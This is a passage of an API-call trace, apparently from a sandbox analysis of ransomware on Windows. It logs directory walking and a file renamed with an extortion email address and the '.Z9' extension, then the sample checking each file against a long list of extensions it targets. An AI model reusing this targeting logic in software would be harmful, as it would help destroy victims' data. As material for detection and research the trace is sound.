	[0160.324] FindNextFileW (in: hFindFile=0x76e7e8, lpFindFileData=0x372fcf8 | out: lpFindFileData=0x372fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0160.324] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0160.324] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0160.324] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0160.324] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0160.324] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3fe2738
	[0160.324] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0160.324] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76ed68
	[0160.324] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0160.324] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0160.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0160.324] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0160.324] lstrlenW (lpString="1025") returned 4
	[0160.324] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0160.324] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0160.324] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0160.325] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.325] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34cc47cc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.325] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0160.325] lstrlenW (lpString=".1cd") returned 4
	[0160.325] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0160.325] lstrlenW (lpString=".3ds") returned 4
	[0160.325] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0160.325] lstrlenW (lpString=".3fr") returned 4
	[0160.325] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0160.325] lstrlenW (lpString=".3g2") returned 4
	[0160.325] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0160.325] lstrlenW (lpString=".3gp") returned 4
	[0160.326] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".7z") returned 3
	[0160.326] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0160.326] lstrlenW (lpString=".accda") returned 6
	[0160.326] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".accdb") returned 6
	[0160.326] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".accdc") returned 6
	[0160.326] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".accde") returned 6
	[0160.326] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".accdt") returned 6
	[0160.326] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".accdw") returned 6
	[0160.326] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0160.326] lstrlenW (lpString=".adb") returned 4
	[0160.326] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".adp") returned 4
	[0160.326] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai") returned 3
	[0160.326] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai3") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai4") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai5") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai6") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai7") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".ai8") returned 4
	[0160.326] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".anim") returned 5
	[0160.326] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0160.326] lstrlenW (lpString=".arw") returned 4
	[0160.326] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0160.326] lstrlenW (lpString=".as") returned 3
	[0160.326] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0160.327] lstrlenW (lpString=".asa") returned 4
	[0160.327] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asc") returned 4
	[0160.327] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".ascx") returned 5
	[0160.327] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asm") returned 4
	[0160.327] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asmx") returned 5
	[0160.327] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asp") returned 4
	[0160.327] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".aspx") returned 5
	[0160.327] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asr") returned 4
	[0160.327] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".asx") returned 4
	[0160.327] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".avi") returned 4
	[0160.327] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".avs") returned 4
	[0160.327] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".backup") returned 7
	[0160.327] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0160.327] lstrlenW (lpString=".bak") returned 4
	[0160.327] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".bay") returned 4
	[0160.327] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".bd") returned 3
	[0160.327] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0160.327] lstrlenW (lpString=".bin") returned 4
	[0160.327] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".bmp") returned 4
	[0160.327] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".bz2") returned 4
	[0160.327] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0160.327] lstrlenW (lpString=".c") returned 2
	[0160.327] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0160.328] lstrlenW (lpString=".cdr") returned 4
	[0160.328] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cer") returned 4
	[0160.328] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cf") returned 3
	[0160.328] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0160.328] lstrlenW (lpString=".cfc") returned 4
	[0160.328] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cfm") returned 4
	[0160.328] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cfml") returned 5
	[0160.328] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cfu") returned 4
	[0160.328] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".chm") returned 4
	[0160.328] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cin") returned 4
	[0160.328] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".class") returned 6
	[0160.328] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0160.328] lstrlenW (lpString=".clx") returned 4
	[0160.328] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".config") returned 7
	[0160.328] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cpp") returned 4
	[0160.328] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cr2") returned 4
	[0160.328] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".crt") returned 4
	[0160.328] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".crw") returned 4
	[0160.328] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".cs") returned 3
	[0160.328] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0160.328] lstrlenW (lpString=".css") returned 4
	[0160.328] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0160.328] lstrlenW (lpString=".csv") returned 4
	[0160.328] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".cub") returned 4
	[0160.329] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dae") returned 4
	[0160.329] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dat") returned 4
	[0160.329] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".db") returned 3
	[0160.329] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0160.329] lstrlenW (lpString=".dbf") returned 4
	[0160.329] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dbx") returned 4
	[0160.329] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dc3") returned 4
	[0160.329] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dcm") returned 4
	[0160.329] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dcr") returned 4
	[0160.329] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".der") returned 4
	[0160.329] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dib") returned 4
	[0160.329] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dic") returned 4
	[0160.329] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dif") returned 4
	[0160.329] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".divx") returned 5
	[0160.329] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0160.329] lstrlenW (lpString=".djvu") returned 5
	[0160.329] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0160.329] lstrlenW (lpString=".dng") returned 4
	[0160.329] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".doc") returned 4
	[0160.329] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0160.329] lstrlenW (lpString=".docm") returned 5
	[0160.329] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0160.329] lstrlenW (lpString=".docx") returned 5
	[0160.329] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dot") returned 4
	[0160.330] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dotm") returned 5
	[0160.330] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dotx") returned 5
	[0160.330] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dpx") returned 4
	[0160.330] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dqy") returned 4
	[0160.330] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dsn") returned 4
	[0160.330] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dt") returned 3
	[0160.330] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0160.330] lstrlenW (lpString=".dtd") returned 4
	[0160.330] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dwg") returned 4
	[0160.330] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dwt") returned 4
	[0160.330] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".dx") returned 3
	[0160.330] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0160.330] lstrlenW (lpString=".dxf") returned 4
	[0160.330] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".edml") returned 5
	[0160.330] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0160.330] lstrlenW (lpString=".efd") returned 4
	[0160.330] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".elf") returned 4
	[0160.330] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".emf") returned 4
	[0160.330] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".emz") returned 4
	[0160.330] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".epf") returned 4
	[0160.330] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0160.330] lstrlenW (lpString=".eps") returned 4
	[0160.330] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".epsf") returned 5
	[0160.331] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0160.331] lstrlenW (lpString=".epsp") returned 5
	[0160.331] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0160.331] lstrlenW (lpString=".erf") returned 4
	[0160.331] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".exr") returned 4
	[0160.331] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".f4v") returned 4
	[0160.331] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".fido") returned 5
	[0160.331] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0160.331] lstrlenW (lpString=".flm") returned 4
	[0160.331] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".flv") returned 4
	[0160.331] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".frm") returned 4
	[0160.331] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".fxg") returned 4
	[0160.331] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".geo") returned 4
	[0160.331] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".gif") returned 4
	[0160.331] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".grs") returned 4
	[0160.331] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".gz") returned 3
	[0160.331] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0160.331] lstrlenW (lpString=".h") returned 2
	[0160.331] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0160.331] lstrlenW (lpString=".hdr") returned 4
	[0160.331] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".hpp") returned 4
	[0160.331] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".hta") returned 4
	[0160.331] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0160.331] lstrlenW (lpString=".htc") returned 4
	[0160.331] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".htm") returned 4
	[0160.332] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".html") returned 5
	[0160.332] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0160.332] lstrlenW (lpString=".icb") returned 4
	[0160.332] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".ics") returned 4
	[0160.332] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".iff") returned 4
	[0160.332] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".inc") returned 4
	[0160.332] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".indd") returned 5
	[0160.332] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0160.332] lstrlenW (lpString=".ini") returned 4
	[0160.332] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".iqy") returned 4
	[0160.332] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".j2c") returned 4
	[0160.332] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".j2k") returned 4
	[0160.332] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".java") returned 5
	[0160.332] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jp2") returned 4
	[0160.332] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpc") returned 4
	[0160.332] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpe") returned 4
	[0160.332] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpeg") returned 5
	[0160.332] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpf") returned 4
	[0160.332] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpg") returned 4
	[0160.332] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0160.332] lstrlenW (lpString=".jpx") returned 4
	[0160.333] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".js") returned 3
	[0160.333] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0160.333] lstrlenW (lpString=".jsf") returned 4
	[0160.333] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".json") returned 5
	[0160.333] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0160.333] lstrlenW (lpString=".jsp") returned 4
	[0160.333] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".kdc") returned 4
	[0160.333] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".kmz") returned 4
	[0160.333] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".kwm") returned 4
	[0160.333] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".lasso") returned 6
	[0160.333] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0160.333] lstrlenW (lpString=".lbi") returned 4
	[0160.333] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".lgf") returned 4
	[0160.333] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".lgp") returned 4
	[0160.333] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".log") returned 4
	[0160.333] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".m1v") returned 4
	[0160.333] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".m4a") returned 4
	[0160.333] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".m4v") returned 4
	[0160.333] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".max") returned 4
	[0160.333] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".md") returned 3
	[0160.333] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0160.333] lstrlenW (lpString=".mda") returned 4
	[0160.333] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0160.333] lstrlenW (lpString=".mdb") returned 4
	[0160.334] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mde") returned 4
	[0160.334] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mdf") returned 4
	[0160.334] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mdw") returned 4
	[0160.334] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mef") returned 4
	[0160.334] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mft") returned 4
	[0160.334] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mfw") returned 4
	[0160.334] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mht") returned 4
	[0160.334] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mhtml") returned 6
	[0160.334] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mka") returned 4
	[0160.334] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mkidx") returned 6
	[0160.334] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mkv") returned 4
	[0160.334] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mos") returned 4
	[0160.334] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mov") returned 4
	[0160.334] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mp3") returned 4
	[0160.334] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mp4") returned 4
	[0160.334] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mpeg") returned 5
	[0160.334] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mpg") returned 4
	[0160.334] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mpv") returned 4
	[0160.334] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0160.334] lstrlenW (lpString=".mrw") returned 4
	[0160.335] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".msg") returned 4
	[0160.335] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".mxl") returned 4
	[0160.335] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0160.335] lstrlenW (lpString=".myd") returned 4
